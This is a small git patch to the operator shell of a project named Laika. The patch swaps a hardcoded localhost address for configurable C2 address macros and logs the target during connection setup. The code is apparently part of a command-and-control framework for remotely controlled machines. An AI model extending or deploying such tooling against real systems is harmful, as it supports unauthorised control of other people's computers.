From c6c187dcc727d5186ab1d1cf7ceea59b02e9339c Mon Sep 17 00:00:00 2001 From: CPunch Date: Mon, 11 Apr 2022 09:51:10 -0500 Subject: [PATCH] Shell: use LAIKA_CNC_* macros --- shell/src/main.c | 2 +- shell/src/sclient.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/shell/src/main.c b/shell/src/main.c index 4e06fe3..64e64da 100644 --- a/shell/src/main.c +++ b/shell/src/main.c @@ -58,7 +58,7 @@ int main(int argv, char *argc[]) { if (!loadConfig(&client, configFile)) return 1; - shellC_connectToCNC(&client, "127.0.0.1", "13337"); + shellC_connectToCNC(&client, LAIKA_CNC_IP, LAIKA_CNC_PORT); shellT_conioTerm(); while(laikaS_isAlive((&client.peer->sock))) { diff --git a/shell/src/sclient.c b/shell/src/sclient.c index 7a7699c..9d7828c 100644 --- a/shell/src/sclient.c +++ b/shell/src/sclient.c @@ -198,7 +198,7 @@ void shellC_cleanup(tShell_client *client) { void shellC_connectToCNC(tShell_client *client, char *ip, char *port) { struct sLaika_socket *sock = &client->peer->sock; - PRINTINFO("Connecting to CNC...\n"); + PRINTINFO("Connecting to %s:%s...\n", ip, port); /* create encryption keys */ if (crypto_kx_client_session_keys(client->peer->inKey, client->peer->outKey, client->pub, client->priv, client->peer->peerPub) != 0)